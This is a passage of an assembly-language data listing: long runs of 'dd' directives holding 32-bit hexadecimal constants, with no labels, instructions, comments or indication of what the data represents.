0CC685156h, 71056619h, 7DC20986h, 48E2FB76h, 5994FD40h dd 6B5A5F48h, 6E450477h, 8507ECAAh, 69F8427Eh, 555B2D3h dd 2C7068D1h, 0FD110ACh, 203CA04h, 917E95Ah, 0DA5111E9h dd 2EF32022h, 5F00899Fh, 26586FE1h, 39BB4F1Ch, 0EEE4466Ah dd 0D98C115Ah, 293B185h, 7032F0CDh, 4DA4C057h, 0CE5C7E60h dd 2CC5BA0Ch, 12E6AE7Dh, 5C74E9C2h, 0C726E5F3h, 74F07422h dd 6ACF334Ah, 0CAD15A2Dh, 0B41DAD70h, 83686358h, 5A0F3CE0h dd 0CEF3909Fh, 278CDCF4h, 379422D5h, 447D09E1h, 5FFA25C0h dd 5438D4E0h, 22E93B0Bh dd 7039FE57h, 9C9D322Eh, 7F8486Bh, 8C455317h, 4B38E906h dd 0DAEA4B74h, 0D9D84F99h, 238C2768h, 40A1B36Ch, 7AE61025h dd 7C1E3D4Dh, 0B7CA27BEh, 0E8688263h, 249A93Ah, 0FF807360h dd 60F6ADCEh, 0D08835C3h, 7DC39A53h, 1DFD3689h, 885C014Ah dd 628DE9EBh, 0A2C20310h, 0B01C6B43h, 27297AE2h, 80DD5759h dd 3F88F2ECh, 1C2BEDE4h, 58F349DDh, 0D4277CDCh, 7E9E163h dd 2BCE2F01h, 5B93BB00h, 2E96776h, 4BE2864Fh, 605F7E85h dd 870EE4DBh, 57560F1Fh, 73278EC2h, 8CD0DE06h, 5B2E6E25h dd 15A2B801h, 0D0012FCEh, 0B9FD4F21h, 172E7125h, 5D98AAADh dd 0BC1B444h, 0E716E230h, 0F6CAFE0Eh, 0D7DA49D2h, 49F4D407h dd 0D5355285h, 8E49E4AFh, 0AFAB7192h, 0F54D5829h, 0F90898A4h dd 1E2D0148h, 0E8097D35h, 59B75301h, 9098E408h, 19C6806Ah dd 7502FF9Dh, 98A42465h, 0BDB1BEC3h, 609571F2h, 4A29C1B9h dd 0E1030974h, 8FE95506h, 0A3F76CDh, 6A177A68h, 4A4E1CBDh dd 1C984163h, 4CA0E01Ch, 0D11654EAh, 0ACF388E5h, 0EF98EF96h dd 852E68C1h, 0AA3503BFh, 7A78220Ah, 0A5A8574Bh, 44F563E7h dd 0E93E9888h, 0E0C7BA4Ah, 0A70F7441h, 36F287F4h, 0D608D6F7h dd 0E70A750Ch, 7FAD9E33h, 0BA1E4A74h, 5F08CE10h, 29C475E2h dd 895198D0h, 0FF304225h, 0D52721C7h, 1D168760h, 0DB8B8C0h dd 9F5DED08h, 0E80F2551h, 47D36105h, 43D83F76h, 0A6972DFAh dd 0E0342C40h, 94EF8980h, 5E7752E5h, 61BE580Bh, 203E1816h dd 31561601h, 0C80075Fh, 76BF2ABDh, 0ECB0FE29h, 0C400883h dd 0F67CE914h, 0D33574C2h, 0F58C42C9h, 260659E3h, 6C872BD5h dd 0BC47E4Eh, 94E97B2Fh, 3F440CE9h, 0C893D2ECh, 45411D47h dd 624E3F41h, 8CF9DFC2h, 5CA4FC16h, 49EA0BCFh, 2D804FA7h dd 1048221Ah, 0FA97E2B0h, 0BCE91837h, 0ABC22FB2h, 18C0313h dd 564A3500h, 5AE9100Bh, 8B08C48Ah, 93697728h, 0BECDD189h dd 0B9AB4D13h, 74B76F5h, 5A2719E7h, 0BF4BD9F0h, 7BB89D60h dd 47C2000Ch, 5201E883h, 27766FBAh, 20BF2D48h, 25C09048h dd 0D07B662Fh, 0C30254A7h, 844BBE22h, 25A367F8h, 0CD9693D6h dd 0F066B102h, 0BA52DD3Dh, 773E2B95h, 440F992h, 3A7B726Bh dd 0F16014Fh, 0E2008B16h, 7BE83B48h, 4F7627BDh, 640906D4h dd 0BC01F933h, 0F091EA5h, 8814E77Dh, 2C038660h, 0EFF8289Eh dd 60D66B4Fh, 18F06879h, 0A8110F55h, 0C16BEEAh, 0D4181228h dd 2C659186h, 8CC69034h, 0EB28D389h, 0E4513809h, 4D2A8070h dd 9F4E692Ah, 8202856h, 0D4598F98h, 57BE00E8h, 929226Dh dd 0C9FB9F2h, 268738F0h, 4742F31Eh, 7B55EE8Bh, 0BE560020h dd 0F4C2C2Ah, 0CE7DE912h, 134BE6BEh, 0F8245EF7h, 0C28BF9BEh dd 66593768h, 6BE91399h, 0BF86940Eh, 929A59C8h, 656BD5Ah dd 507276D2h, 60606CE9h, 4A64BD38h, 17524A94h, 2C81B0B3h dd 0F831455Fh, 34344CE6h, 0DF661495h, 0CB20D27Eh, 0C6EB8325h dd 4EEAFA33h, 0BDF7D0DAh, 44386E4Ch, 0E4C2D043h, 0EFA7FC16h dd 6034C8FAh, 0A941D14Ah, 26820C74h, 9C9D920h, 4F6A9639h dd 31146BF0h, 7D8041CCh, 6BF3F06h, 8036F729h, 79E95E08h dd 253B7B0h, 0B3536601h, 1B30285Ah, 0ED5BF002h, 0C7FBAB45h dd 0B88AD5C0h, 0C5FE804Dh, 955749E9h, 5F8B1A7Dh, 30578032h dd 59685389h, 0E90D0E7Bh, 0C23CBCFAh, 0B643865Fh, 61C84870h dd 0E21829h, 0E165599Fh, 0BFFB89h, 1278DD31h, 13E7FE4Bh dd 22CA6h, 5F0CF740h, 8AA00D7Ch, 7E0B3D3Fh, 0C8E7D116h dd 3A6DEF31h, 31B42D84h, 2F54FC4Ch, 27187216h, 0E8E19B1h dd 0BBA9D40Fh, 73BE1A20h, 634A8910h, 1D695BE0h, 870CE87Dh dd 0F12E17E6h, 0F293E962h, 8EECF9FFh, 0AF1256CFh, 4EE94698h dd 53E087BFh, 0A3119CAh, 0D3F79009h, 6697002Ah, 31D8849Ch dd 4934DE5Fh, 88DB0ABFh, 0BF32B4DDh, 27CAD607h, 0FFF4064h dd 1BA49250h, 1AE94E01h, 69067AC9h, 0F9DD778Fh, 17849BB6h dd 494B3225h, 0EC6BC551h, 5E9C484Eh, 0BFC4BCB6h, 0F3EC176Bh dd 891AC31Eh, 4354BE70h, 701A1E8h, 17A1B06h, 8048465h dd 99BCB884h, 0DAC3E9B0h, 4A2D7AB9h, 0D4504234h, 1A5CA740h dd 279FFF0Ch, 377F0BEAh, 0DB2966EBh, 9A43E04h, 56A3DE5Eh dd 0EE2FC720h, 0B3459FEEh, 1A05E98Dh, 2FC17230h, 80558958h dd 3EA20A93h, 0AA014AA9h, 7F84FB56h, 7B4AF2FEh, 0FC0A7B25h dd 0F189C209h, 79D496F5h, 4F4D90EFh, 8F8505Ch, 8139BA4Ah dd 8A5CF66Ah, 0CA196C9Fh, 3F30EA9Eh, 0C050430h, 1CD3F760h dd 84A69100h, 4A5BDA29h, 8559BD5Dh, 9B20520Eh, 2C07D73h dd 0D92ABB5Fh, 0BFFD475h, 6C4A052Eh, 0D63CBBE9h, 5B29FACFh dd 12E4562h, 92D62F70h, 28680203h, 0E2BB854Ch, 0E957C188h dd 46DD948h, 5A199E11h, 456CE98h, 3B5F9A68h, 278C157h dd 5DBF00BAh, 90E49872h, 0E6CCB00Ch, 7A76148Eh, 0D904AE61h dd 0E1F61E28h, 5106842Eh, 0DFB133E9h, 9BB4230h, 52DA1556h dd 47FCF89h, 42A2878Bh, 1380AD97h, 72BF6337h, 0BC4410AAh dd 0A017C820h, 0E450B49Ah, 0ECC01F2Fh, 0A3138B08h, 8B4892F5h dd 75C15504h, 4FD278F8h, 28A9BFFCh, 134D00D6h, 0DBE93D1Fh dd 0FA3BE13Bh, 735C5D3Dh, 6AA141F6h, 74108EE6h, 805B005Fh dd 885377C2h, 0F3FCE4D7h, 0D5B062FEh, 3F35D618h, 0BE98D395h dd 0A6AE193Eh, 1677A521h, 5BB9099Eh, 0E70030EDh, 29EC4BE5h dd 210DE2ECh, 18480A09h, 124272FCh, 0EB7FE934h, 7D5C9449h dd 0EB01F9Ch, 77A70997h, 93FF2509h, 0A50E4065h, 0FA991331h dd 3F87AB8Eh, 32530D01h, 7057935h, 2CFB9C12h, 0D197570Ah dd 0C4E9653Dh, 2BDCC999h, 0E50F6795h, 0DF8CC452h, 3F9EBAACh dd 8D1ECA5h, 42A9D992h, 0A967E9A0h, 10D6BABDh, 176850FAh dd 5F373F7h, 0FA7136ADh, 3F50BBF7h, 0D9FC9D3Ch, 5865456Fh dd 873DE061h, 1672D207h, 0CA75E0EAh, 0A3818DE0h, 0DE36E742h dd 1CFDEB19h, 702D01ACh, 0E978772Fh, 7455A59Dh, 9FEED062h dd 0A73281C8h, 59ED7490h, 0B6B96EE1h, 8851C2C5h, 66599B67h dd 5F594843h, 0E44A03ADh, 0EC30E909h, 555D2088h, 60A0F050h dd 0F8BE749h, 20B71048h, 0D4977AB2h, 9956BFCEh, 0ED1756ACh dd 993B84E2h, 0F1F72041h, 965A370Bh, 0A7FED43Fh, 0E99F83D5h dd 0C8DF47D3h, 0D8D21559h, 0D52D687Dh, 552A181Bh, 1A4127E9h dd 0DC9503C8h, 41CC1927h, 61FD4311h, 0BB4AD17Dh, 45FA37C5h dd 0FF1183AFh, 929DBD31h, 0EBF5D76Ch, 6C12E0B2h, 1C0DFDBDh dd 0B44360Ch, 0A8E4E8D1h, 3034E205h, 0F0F0846h, 0D58E14Fh dd 0E5372578h, 57964Fh, 2453FB2Fh, 0BC5BE91Fh, 0A1B335AEh dd 29FC3FECh, 10AB3DADh, 680E1C44h, 0BF132CEAh, 0FCA419F2h dd 62ABB700h, 566387D2h, 54F7C83h, 668FBE10h, 0F60AC08Ch dd 365C30F3h, 0CF12E2Bh, 349D6813h, 0D664CFECh, 7B21BE3Ah dd 0FB05BB4Ah, 8CB41983h, 628730E8h, 0BE01956Fh, 0A00C4CDh dd 6958E959h, 1DF52E40h, 6BD9A57Bh, 516A362h, 26D74740h dd 29B4326Bh, 0FE8933C0h, 45BD659Ah, 0CC0925A6h, 0C13C517Fh dd 6ECD17E9h, 0C96C9331h, 0B3530E80h, 15EB808Ch, 0C98606CFh dd 0D4F74220h, 0E2F425D0h, 4682FF49h, 545F7EB3h, 3A9AA467h dd 43401E2Eh, 3AE828CBh, 57EE2C1h, 0FF36985Eh, 101A6988h dd 0D20BF977h, 6FD585Fh, 153AB2CDh, 25C1213h, 0DEE11204h dd 0D9A18AFCh, 0D8E90003h dd 0EA59C002h, 11401B12h, 9A05F2ECh, 313DCDEBh, 10497BFh dd 826FC509h, 7E03CB0Ch, 0B440772Eh, 0B8804DADh, 0E61606EAh dd 0BEEBF72h, 81CD3150h, 1026C505h, 94FA4578h, 0AB081361h dd 0AA2AFF2Dh, 25E97B3Ch, 4CDDEAC6h, 97DAE00Dh, 3E4C96C9h dd 4835C300h, 0BA830482h, 4E6871D7h, 0A07F244Fh, 0A528E90Dh dd 0CC301EF7h, 7FB00DC4h, 2DC51C80h, 0EDBAFA28h, 0C6A5A2DEh dd 1E62F5h, 59EB20CEh, 6DE9C3FEh, 0B248B964h, 0C2829681h dd 5B1C8304h, 0FB1BD58Fh, 32E931B4h, 0B8778DD4h, 0F842787Ch dd 8039BA97h, 84760C61h, 7B0CC153h, 30B05271h, 6D021313h dd 69E9371Bh, 7A114C57h, 67A5E151h, 74EDF80h, 0CB01816Bh dd 1B9046FAh, 133B8DE9h, 0EC628D2Dh, 0B8AAD663h, 672D2260h dd 2BDB491Fh, 9C5D752h, 30BAD9AFh, 4B6B4A67h, 10F5EC7h dd 944186BEh, 217EAF07h, 5BDE01AAh, 0F775A02Eh, 90D648h dd 0FB36B518h, 0B1ED11E9h, 1E5E0889h, 0D03A412Dh, 0DAF60C84h dd 0B0A385C0h, 202F6E92h, 0C0B656C2h, 51F0E280h, 57D7B127h dd 0C41E490Fh, 0B828B6F1h, 0CE253BABh, 6A763732h, 0E4D07EE8h dd 2DA1EC3Ch, 0CC575E51h, 0CFA4FE94h, 1A94CD02h, 40451FDDh dd 300ECB73h, 361A1DBBh, 27480210h, 2D290304h, 0E6313C68h dd 569B4074h, 0B0585CBEh, 296D127Eh, 14BE0143h, 7E332540h dd 0D756CA09h, 0C1CEBAD9h, 0B9057CCEh, 7A62E03Eh, 0EDBFC518h dd 257547D6h, 7A781E6Fh, 2B08EA51h, 6EB82CAAh, 0BBBB240h dd 77CD10D4h, 9BF330A0h, 4348217Eh, 0C2371030h, 38D06627h dd 0A80B5963h, 0F929D134h, 6DC11091h, 5969240Ah, 0B8223E17h dd 51994F5h, 1E445232h, 0EBB7D1EAh, 28217007h, 56E4485Eh dd 4ACB03C7h, 5D571BA4h, 6E5C1C8h, 17E64548h, 0B602967h dd 2D370E05h, 79C2616Dh, 68570703h, 31EDDCE7h, 0AA89875Ah dd 9BA1DE20h, 0BFE9C1C8h, 0BA228184h, 73AB218Eh, 932854E9h dd 3264EE4Ah, 2801DF8Eh, 6F6866C3h, 84B26A56h, 61050B18h dd 31801110h, 4A1AF8C5h, 0DC31EE25h, 922F8A05h, 0BE743376h dd 5A6F2260h, 0FC505B2Bh, 0BBDE25BEh, 0EEA1DB6Bh, 0FD054E16h dd 68C35015h, 0FEC8723Ah, 2B8D6B55h, 0B7F845C9h, 66EC950Eh dd 1462F0F4h, 5CC8453h, 0AFE3EB01h, 6DBC8532h, 681BF65Ah dd 0FA352F53h, 509E7F5Ah, 3854609Dh, 45B60676h, 0C95007E9h dd 10BBED4Fh, 4D24C334h, 1075C2E3h, 23C6FF09h, 46EFEBDh dd 941285E9h, 28D8FB23h, 0E3204AC7h, 5CAC17F8h, 88C0C6FCh dd 82A6E9D4h, 0F52786BAh, 4BAC5B5Eh, 5C6D6C5Fh, 5E2A1FEAh dd 5BDA30E8h, 47672E96h, 0B4F57BE3h, 425551C1h, 160B8601h dd 41578B5h, 0C44D30BDh, 4605EE06h, 0AB81FE58h, 0B7D09BC3h dd 42684A91h, 2A96E999h, 566386A0h, 97F41CABh, 414DC6Bh dd 83BB706Ah, 0D3828C7Ch, 751E9D22h, 0AC25CB46h, 0D07C532h dd 2ACDEF88h, 0C01848F4h, 0D2F75DEFh, 0D2954A42h, 32C24CB7h dd 12602D13h, 7240BAA6h, 5B0B33FBh, 68551D52h, 6BA3CBD1h dd 0C00ED058h, 0C02B146Dh, 3B63DFF5h, 8164B139h, 0C977E4BAh dd 0FC092A0Ch, 47BC8005h, 4B65E91Eh, 7D27FAAEh, 8A2CC4Ah dd 3FB358BFh, 0B455692Bh, 5BF15DF9h, 44561888h, 27D6E941h dd 2052413Bh, 7F703E3Dh, 9E04D1B2h, 0C51EAC73h, 996906B8h dd 85381864h, 291114C0h, 4A924BDAh, 0FAFF084h, 6776ACBBh dd 830393BEh, 44074E18h, 36AF750Ch, 5513E3C2h, 57022DC4h dd 0B1319BBFh, 0F481753Bh, 0C6731516h, 56CE8E7Dh, 0C102EFE9h dd 0CCBE5A1h, 29E2B07Eh, 4D7AC1CFh, 5B51D38Fh, 23004B09h dd 499B3488h, 0CC042F90h, 554A1015h, 338BAAh, 4B62424Ch dd 2CB116BDh, 18D17829h, 0CE88240Ch, 0C17B70E5h, 0E8C01841h dd 0D9595A66h, 0EA24540Bh, 0E8E731BCh, 0FB4BD316h, 0F7FAC25Ch dd 5709924Eh, 75C0E1E9h, 64B4CB79h, 0E992DCEFh, 4D671737h dd 0F7390D67h, 789F44E4h, 14F95B67h, 7C0A43FEh, 9957B4Bh dd 98F5E334h, 0A85A8179h, 25685944h, 0B0DC11E1h, 6853D772h dd 0C1CC5649h, 8976F768h, 0B01753ABh, 0BDEE9D65h, 591C2466h dd 40A5CD09h, 641A6883h, 0A47C3B5Ch, 0D5BF6EBh, 31419BA5h dd 0B62F1640h, 0AB4C685Ah, 9D5FC03Eh, 5D28B25Fh, 0A4870409h dd 76A51965h, 625AC2F8h, 561B60F5h, 43CD35Eh, 0FA3BE5CAh dd 58145E31h, 0D2D1F19Fh, 0F7E2BAB0h, 760B3D0Fh, 127D4F64h dd 0AA803849h, 52921248h, 0C9FCB6FAh, 0BA800056h, 9F2CC13Fh dd 4DD6750Bh, 9D3DC600h, 6960E972h, 9282528Ch, 987FABA1h dd 0B7AD7770h, 4CF65D4Eh, 880EB7B4h, 0A79E4F5h, 0E896DAE8h dd 57776ACh, 0EDB21D62h, 13560F91h, 158EB802h, 86DEF258h dd 95454B12h, 6BF9BE60h, 0C499E30h, 404275CDh, 1C32DE1Dh dd 7782422Fh, 772F567Ch, 7F124FB9h, 0F8309604h, 9711B2A9h dd 0DF4427E5h, 5E83EE92h, 310E0FEAh, 0C5C480E7h, 8EEFD4F6h dd 38A911DCh, 0E5FDA05Ah, 592CEEE4h, 0F8127A52h, 7D913EAh dd 0E5515A7Fh, 0A729ECF1h, 801CCAF6h, 0BD2CA8FAh, 4A40B5A2h dd 4CE81EFFh, 20041CF5h, 0E17FE958h, 0F4137886h, 943A97BAh dd 0E14F0FCDh, 732C7BF7h, 62A9012Ah, 2E59D342h, 5D1B9A87h dd 4EF49CC4h, 920975BAh, 0F5B9C1BCh, 20C58F7Ah, 0B44556ABh dd 0E3320C57h, 37FA7D66h, 0F51B4A6Bh, 68170DCEh, 1D612864h dd 0B90C6A17h, 577F1200h, 6EE94965h, 8C6E96A5h, 90D96DFh dd 685EF704h, 0B310B4h, 9B409C0Bh, 93EBE282h, 82D4B103h dd 6374E1CBh, 5EA50304h, 45C34137h, 4820E5B8h, 413D992Fh dd 0B63BFA6Fh, 704A79FAh, 0E6889005h, 0A2F5DB0Eh, 555A59EBh dd 30CC3A54h, 0A6B27D68h, 0B7FEBDF6h, 0CA6062FAh, 865D6064h dd 43490F23h, 1DA4F921h, 0B40A453h, 0EF52F682h, 0DB8B5CA6h dd 2C51E507h, 5AB20AEEh, 8EF17F27h, 6234F1CBh, 10290A68h dd 2F5AF7A0h, 67C03D22h, 0C698F45Fh, 3309C701h, 13E91160h dd 0C374D16Bh, 0EFFB6058h, 50F24A48h, 79B7E80Eh, 0BDFA5FCh dd 0F673A198h, 5DF67A6Eh, 0C81B1EEh, 4B6F285Bh, 68D402FEh dd 67D646DCh, 48EF75C1h, 0C5549C20h, 0F901586Ch, 17124845h dd 92ED0683h, 6F33B5D3h, 7A48A9CFh, 0C9D29D26h, 3F5E1791h dd 984E449Eh, 7D4AE960h, 0B9FAC993h, 333E8032h, 0F0D15139h dd 0DD656B25h, 5E191087h, 0FB6865ABh, 603EEFE1h, 3E26E94Bh dd 208DC69Dh, 812DE66Fh, 0A063F2EDh, 0C507F093h, 37B1275Dh dd 0D70583CAh, 0C5D1024h, 0F3A728ACh, 0F98F4773h, 84C52751h dd 106057E1h, 98344940h, 9F95C83Eh, 0A77832Dh, 194F7905h dd 5C84168Fh, 22F6E5C7h, 0A0A8B9E5h, 8A0E4083h, 0EC4C00FCh dd 4E89F7DAh, 2FA5E3E9h, 22CE4429h, 0F107E15Ch, 0A9F8BD1Eh dd 24406B3h, 1A15BA16h, 12C16C0Eh, 0C4646CA0h, 0D3E84383h dd 2C2E68C2h, 0B0B3C7D7h, 31DE687Eh, 0EE02659Bh, 777F0D5Bh dd 27D3D780h, 0F5A165D6h, 0D3123BC0h, 8A4A7E8Ah, 0B868092Fh dd 0CAC6F601h, 7A453BA9h, 0AC5AB42Bh, 68D1B246h, 5C3ABD09h dd 2B7A07E6h, 883F616h, 0DF252389h, 67FD81BAh, 9560CFFh dd 640B2D30h, 5778924Ch, 37011D8Fh, 901AB57Bh, 0F058D164h dd 0A6CC304h, 270BC28h, 866E65CAh, 2C49F538h, 0C9713182h dd 2D382E29h, 77D6B75Ch, 0D7F6E05Bh, 6DD99030h, 460D0632h dd 894AA372h, 0C7C445BDh, 0C5EDA958h, 16BF6AE9h, 0B182A801h dd 5FFA690Bh, 0A5EF5FDCh dd 4BFA4C20h, 0E6046663h, 29CF9213h, 75F70BFFh, 2A58C661h dd 6801A9BCh, 78185B51h, 8F2EB5Ah, 20EA8BA7h, 0D1079F0Bh dd 30AB31F7h, 637E03DBh, 1525EE00h, 0E946556Bh, 64746F9Dh dd 6F3F2741h, 3C44E81Bh, 0BBB8249Fh, 135AFDEEh, 69BB02C5h dd 31AF2B7Ch, 86BE1h, 9055D5Ah, 0BBB79DFh, 0B951E100h dd 9F2443A2h, 7D01B202h, 2909243Ah, 5D71D5FAh, 0E94B384Bh dd 13FABCFDh, 0DF45BC41h, 693FD70Bh, 2828CD5Ch, 6285B800h dd 0B9252335h, 1E90271Fh, 124172CEh, 166BCBFAh, 8AF39232h dd 2144BD00h, 78DD0503h, 2D53F11Ch, 29FD84BBh, 0C1FAE8C1h dd 2697BFF3h, 0D2C1B82h, 5D42D62h, 80D0E3A9h, 0F031C205h dd 0E600816Ah, 0E9187E35h, 0E8604FA9h, 0AAF7C60Fh, 5DB03C10h dd 712C0C00h, 3402E8C0h, 4E243272h, 752D3F88h, 0C05B5AA1h dd 0F9E330EFh, 2561040h, 0C8214068h, 88FD5E19h, 49425360h dd 0B458FBB5h, 4C10042Eh, 0C601010Dh, 0C87FBD55h, 0B9731F2h dd 7AA005A8h, 1ED66698h, 149986Fh, 0A9ECE9D3h, 79AF2FFFh dd 0CE617A42h, 0AF2B7B4Dh, 57642B44h, 96308EF3h, 0F08659DDh dd 8D6F635h, 0B09660F2h, 2D4EE998h, 42BF3500h, 0F4083E7Fh dd 2A029E7Eh, 19E0A530h, 223650h, 4A646858h, 0CA11304Bh dd 0F7E42826h, 0E3C1D312h, 56733E05h, 0E9FB6CAEh, 0B6C96D2Ah dd 72EAEB03h, 1C012627h, 273DFEA2h, 0D24C13FDh, 57B8C938h dd 0B6D45D9h, 0A093FB3Eh, 2ADB3014h, 0EFEC2223h, 204D4409h dd 8103DA47h, 0AD7B5908h, 17E9C512h, 0AC3EAAA1h, 87CF9FD4h dd 0A0E21261h, 0A9673D16h, 7BAF8930h, 501C9708h, 6308540h dd 950A44DEh, 0AEE8F05Fh, 3EBF5700h, 0E92D4E77h, 6E92115Bh dd 0F66A55C7h, 765D79C2h, 50255CCBh, 0B5D3057h, 345D82E0h dd 0FEDC845Ah, 90FC4802h, 27B3DB16h, 0AC68F027h, 0D226F757h dd 5C0F9D4Ah, 0C096C6Ah, 0D9663C0Eh, 0B7E2E59h, 0A5F5BCBAh dd 0E99CB67Eh, 0F763A67Bh, 0EA9690C9h, 0C9778205h, 9575D388h dd 8799E07Eh, 0FB0F3F60h, 1FA46850h, 52376552h, 0B0824CBh dd 415DEFE5h, 0FC7B59DCh, 0B1F09B93h, 9CB4D787h, 6284AA08h dd 9E1B60AAh, 4D5B1672h, 0E2016585h, 0C42129Dh, 4E6B06Ah dd 0A6A86F4Ah, 8121C3F1h, 1DB3536Ah, 0C0FDEB80h, 0A2EEF345h dd 58C3139Ch, 0C67E901h, 0EE0059C4h, 7A76DC16h, 7778C97Dh dd 0D9877203h, 9FFC383h, 2621E90Ah, 0EA8FB0FFh, 0FFDB9574h dd 51E8153Dh, 0C83016F4h, 0FB4B78B7h, 447AD639h, 1421B6F7h dd 9C387773h, 2AAA4E0Ch, 4AFE5C1Dh, 51F45EEEh, 491E4CC2h dd 0CC800EA2h, 0F1F460FCh, 0FC58E128h, 56748BDh, 23914BD7h dd 27CA88A8h, 0CB805A96h, 68143AF7h, 308D4D5Ah, 0E1BE301Bh dd 35F3246Ch, 3324190Ah, 545CDDE0h, 1840EF86h, 295A5BDDh dd 98595BCDh, 5E419A5Bh, 5C65E530h, 0FB97FE91h, 7F5BD3C3h dd 4F3D3031h, 41A0EA1Fh, 0D405A625h, 47034382h, 0E5E31E49h dd 308CA700h, 27E92189h, 0DF6545A2h, 7A88A9A5h, 95577FDBh dd 5212235Bh, 7BA096D4h, 0DE0E4148h, 75F28640h, 0BD40CABEh dd 0A7C3FB2h, 0B6F5810Fh, 0CFEE1D06h, 1AE0B13h, 0A8DAE9C3h dd 7C5D3624h, 1979802Dh, 904CAF1Eh, 52A05AE1h, 1F87AE9Ah dd 8CFFA3B4h, 0CA9D3130h, 538FDF10h, 44111F32h, 0B8E4CF74h dd 0F789167Bh, 5CD75422h, 3ED52D9Dh, 7E649D4Ch, 0EBF8C604h dd 0ACAF292Dh, 6257A210h, 6F0F5A6h, 0A702DF9Dh, 43625A5Fh dd 2BD51AABh, 24E35D99h, 47080C04h, 0FDBF7B57h, 1F53176Dh dd 5192B297h, 0E58D6A0h, 774B435Dh, 0C29C20F7h, 0BE7F8D8Ah dd 70032885h, 68F49F4Fh, 0C06E8AE3h, 9DD8F70Dh, 7A0C9DCCh dd 5242D027h, 2B0C25E9h, 0C10C9172h, 684E8075h, 30F9EB39h dd 0A7F5847Ah, 14BD5216h, 0D2C812D6h, 0F02938F6h, 36BD0EBCh dd 0F1CAEB12h, 75B2EF00h, 68E90254h, 0D32DF296h, 0EED262CBh dd 251B14F5h, 467733AFh, 22517BC2h, 0F695626Bh, 0FBCD89BDh dd 530B357Ah, 0FD48C057h, 78147449h, 6B882413h, 0A74C440Ch dd 5D5697C7h, 7F2FEC20h, 2DB1C549h, 0AB56BBA4h, 2C4CD6E3h dd 0BBB9D113h, 0BB408CCBh, 0E32510F4h, 171D0108h, 0F1291CEEh dd 0B0AB5A44h, 9EBC31A6h, 2ACCC5AEh, 0FE71208h, 5ECD095Fh dd 27215B57h, 67894EFBh, 203A4602h, 293F04CFh, 54669AF5h dd 9CF6C10Fh, 573EA328h, 0DCC86D93h, 0C0B69B6Ch, 8414C381h dd 46213266h, 9E4BC6Eh, 532E0FE9h, 94F5AF9Dh, 0E7E927A0h dd 7EB614F8h, 4B3EE9D8h, 0BCE4D0AFh, 0A5BC319h, 0A339C2C0h dd 0BFBD4D02h, 395ECE67h, 0BBE92E81h, 8C266A9Fh, 77086346h dd 1A5B01E0h, 6852B160h, 0E31D4F7Bh, 0A2BB277Ch, 0CCA2A5B9h dd 0B50C402Bh, 2A684840h, 121D508Ah, 0E8B275B4h, 76E32580h dd 6DFCE92Fh, 58D5E9E7h, 68D953D0h, 0F9495DB5h, 0FB2C2284h dd 0E181D570h, 7D16130Fh, 7592C043h, 517D721Dh, 0AADFF2A2h dd 2939609Ah, 599EFFCAh, 4868DD4Bh, 279E9231h, 0F278EAF9h dd 5E96F120h, 9217EFBFh, 0AA17C5h, 0E95057E3h, 0F9BFCE61h dd 0E168ADA2h, 2EFD6A68h, 95E99460h, 212EC356h, 40105EF7h dd 0E85A7A3Bh, 1DFA5F2Ah, 8BFD6F89h, 0E71E7593h, 463AAA2Dh dd 0F2304F7Bh, 4AF8D1F9h, 8C6C4629h, 7AE5B38Dh, 44EE2CC8h dd 2FFCC6D6h, 92117F3Dh, 0CDDCCB88h, 67FDA887h, 0FE8982F4h dd 5D6712F7h, 0E9623ED4h, 2D0FDC0Bh, 8E202DE4h, 0F660B557h dd 707563B5h, 7C2A01BDh, 0FF20C704h, 4BD304F7h, 0EE340AE9h dd 41F69D2Ch, 13CE609Dh, 53A2926h, 1628BF0Dh, 0F8D2C662h dd 2FA786BDh, 6BB4EC93h, 0FFD40C15h, 0A1EB996Bh, 261951A8h dd 68333C73h, 2C3D1C9Ah, 707B4060h, 1A983578h, 62EA972Eh dd 1A7AFE40h, 0BD1FF696h, 26878D90h, 74A092Ch, 0C5B13300h dd 4EE4E942h, 6ACEB413h, 0A53DC6BEh, 2CF1E058h, 2DA2A467h dd 847A1804h, 37297EA0h, 8710DD1Eh, 1308FE2Dh, 0F689E040h dd 6866D604h, 57882A71h, 20B81FB7h, 0B6D62DFEh, 0B0BA5613h dd 0E9E6DA0Eh, 0CE306C1Bh, 73E0C47Ch, 0B8D76001h, 4F5D17F7h dd 119AC895h, 7D5D23Dh, 19F5C28Bh, 0DFA2A957h, 2C164AEDh dd 0E7096A53h, 0BE35DE62h, 0B4092725h, 211335DCh, 12C7A2ABh dd 47F2024Fh, 0CD3D7F84h, 1A59432Fh, 7FD3F927h, 809B24C1h dd 0DC281106h, 60B4505Bh, 854F8B2h, 0C4FE59CCh, 0BCE9A10Dh dd 0DDC14C8Fh, 9F66AEDCh, 5869E2E5h, 934597C3h, 259CA09h dd 0B3078F6h, 25A8BB5Dh, 0BCD2F1EEh, 46904078h, 0BA1FFE79h dd 1CC470CBh, 2380EAD1h, 7610331Eh, 41CA0525h, 0ED5B4752h dd 0D74B1EACh, 27707E25h, 0D0E10B77h, 57122010h, 76ECBE04h dd 0F4FB3585h, 30178C22h, 15F55BF6h, 0B40F228h, 16564EE9h dd 6DBC68h, 10F335D1h, 0F24AF781h, 0E9180908h, 59570E21h dd 5E54000Ah, 19F9BA52h, 0E96B8F06h, 0F522AC75h, 57FFE86Eh dd 9F9E10B0h, 3A0BF03h, 62024D39h, 3E557EB6h, 0DB25E031h dd 724082FBh, 0F813EAF2h, 3BB5E49h, 398F68D9h, 556F4D2Ch dd 0D834F6BDh, 0FDFABF43h, 7E680942h, 2F0B516Eh, 0B6B46DD1h dd 0EB4395EEh, 0DCACC333h, 8913A114h, 0AB9521h, 0C180FC1Fh dd 0CC5988D9h, 0F4C59E4Ch, 14BB3096h, 0B73B3DACh, 5A79D8A2h dd 64C0E45Fh, 0BDF6E788h, 7C64A0Ah, 65E9C4FEh, 269A4120h dd 822C9125h, 0CC385EF8h, 0B3D8DF31h, 122D5500h, 0E9DA091Ah dd 87AAA9C9h, 0FB88A03Bh dd 2480AE40h, 1E43D6C2h, 4C5F65FDh, 0E0A9553Dh, 40D2292Ah dd 0C06E511h, 5E321448h, 67E854D4h, 0BE49F10h, 324F7D68h dd 7FEC8BD4h, 5A7CFFB3h, 0F22A1D24h, 54BB4EB4h, 0B44B6DAEh dd 3159E9BAh, 0EFD113C9h, 0BF8222C5h, 0EBDA5CEAh, 7E015711h dd 1553452Ch, 6C38D2E9h, 9F3A2E78h, 35F253E2h, 0A1AEBA05h dd 88804446h, 8334E970h, 65FC20FDh, 2F312A07h, 5EF33261h dd 7705B6E8h, 39737913h, 7A410BFh, 0B15CE917h, 6C6A345Fh dd 654893FAh, 2F7904D0h, 